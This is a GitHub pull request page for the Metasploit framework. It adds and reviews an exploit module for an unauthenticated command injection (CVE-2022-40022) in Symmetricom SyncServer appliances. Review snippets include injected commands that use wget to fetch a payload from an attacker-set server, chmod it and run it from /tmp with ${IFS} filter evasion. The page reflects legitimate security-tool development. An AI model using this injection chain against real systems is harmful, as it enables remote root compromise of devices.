Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added symmetricom_syncserver_rce.rb #18077

Merged
merged 8 commits into from Jun 13, 2023

Conversation

sdcampbell
Copy link
Contributor

@sdcampbell sdcampbell commented Jun 8, 2023

This change adds symmetricom_syncserver_rce.rb to modules/exploits/linux/http.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/linux/http/symmetricom_syncserver_rce
  • run 'check' to verify if system is vulnerable
  • select a payload, set options, and enter exploit to get a shell.

This module exploits an unauthenticated command injection vulnerability in /controller/ping.php. The S100 through S350 (End of Life) models should be vulnerable to unauthenticated exploitation due to a session handling vulnerability. Later models require authentication which is not provided in this module because we can't test it. The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022).

I have a packet capture and the output from HttpTrace which I will send to your email address.

@github-actions
Copy link

github-actions bot commented Jun 8, 2023

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

Copy link
Contributor

@space-r7 space-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @sdcampbell, thank you for the module! I mostly suggested changes to metadata and some nice-to-have items, but I understand you no longer have access to a vulnerable target.

modules/exploits/linux/http/symmetricom_syncserver_rce.rb Outdated Show resolved Hide resolved
Comment on lines 4 to 6
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Adding AutoCheck gives the user the ability to automatically run the check method when exploiting

Suggested change
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
prepend Msf::Exploit::Remote::AutoCheck

modules/exploits/linux/http/symmetricom_syncserver_rce.rb Outdated Show resolved Hide resolved
Comment on lines 36 to 41
register_options(
[
OptString.new('FILENAME', [true, 'Payload filename', 'payload.elf']),
OptAddress.new('SRVHOST', [true, 'HTTP Server Bind Address', '127.0.1.1']),
OptInt.new('SRVPORT', [true, 'HTTP Server Port', '4444'])
], self.class)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I suggest adding the TARGETURI option in case the base path to the target is different for users of the module. With this option, you can use normalize_uri() to build the request uri.

Suggested change
register_options(
[
OptString.new('FILENAME', [true, 'Payload filename', 'payload.elf']),
OptAddress.new('SRVHOST', [true, 'HTTP Server Bind Address', '127.0.1.1']),
OptInt.new('SRVPORT', [true, 'HTTP Server Port', '4444'])
], self.class)
register_options(
[
OptString.new('FILENAME', [true, 'Payload filename', 'payload.elf']),
OptAddress.new('SRVHOST', [true, 'HTTP Server Bind Address', '127.0.1.1']),
OptInt.new('SRVPORT', [true, 'HTTP Server Port', '4444']),
OptString.new('TARGETURI', [ true, 'Base path to Symmetricom SyncServer', '/' ])
])

end

def check
uri = '/controller/ping.php'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
uri = '/controller/ping.php'
uri = normalize_uri(target_uri.path, '/controller/ping.php')

end

def request(cmd)
uri = "/controller/ping.php"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
uri = "/controller/ping.php"
uri = normalize_uri(target_uri.path, '/controller/ping.php')

Comment on lines 103 to 112
resource_uri="/"+filename
shell_path = "/tmp/"
cmds=["\`wget${IFS}http://"+srvhost+"/"+filename+"${IFS}-O${IFS}"+shell_path+filename+"\`",
"\`chmod${IFS}700${IFS}"+shell_path+filename+"\`",
"\`"+shell_path+filename+"\`"]
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)},
'Path' => resource_uri
}})
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This looks like a good use case for fetch payloads or a command stager, but I understand that may not be feasible since we can't test it.

modules/exploits/linux/http/symmetricom_syncserver_rce.rb Outdated Show resolved Hide resolved
modules/exploits/linux/http/symmetricom_syncserver_rce.rb Outdated Show resolved Hide resolved
sdcampbell and others added 4 commits June 12, 2023 16:31
Updated heading

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
Fixed misspelling

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
Added CVE

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
Added link to CVE

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
@sdcampbell
Copy link
Contributor Author

I added the module documentation and accepted some of the proposed module code changes. Other suggestions which may affect the module working were not implemented simply because I no longer have access to the vulnerable system to test.

@sdcampbell
Copy link
Contributor Author

@space-r7 space-r7 self-assigned this Jun 13, 2023
Copy link
Contributor

@space-r7 space-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added two commits which add the documentation and module output. Also includes formatting changes from Rubocop and some updates to the metadata. I just have one question about the srvport line. Didn't want to change that before verifying. Thanks!

@space-r7 space-r7 added docs and removed needs-docs labels Jun 13, 2023
Updated info to add allowed SRVPORT and LPORT, and fixed issue with srvport variable not used.
@sdcampbell
Copy link
Contributor Author

I fixed the issue with the srvport variable not used.

@space-r7
Copy link
Contributor

Thanks, verified the pcap. Will get this landed soon!

space-r7 added a commit that referenced this pull request Jun 13, 2023
@space-r7 space-r7 merged commit 37bc9cd into rapid7:master Jun 13, 2023
30 checks passed
@space-r7 space-r7 added the rn-modules release notes for new or majorly enhanced modules label Jun 13, 2023
@space-r7
Copy link
Contributor

space-r7 commented Jun 13, 2023

Release Notes

This adds an exploit for Symmetricom SyncServer appliances (S100-S300 series) vulnerable to an unauthenticated command injection in the hostname parameter in a request to the /controller/ping.php endpoint. The command injection vulnerability is patched in the S650 v2.2. Requesting the endpoint will result in a redirect to the login page; however, the command will still be executed, resulting in RCE as the root user.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

2 participants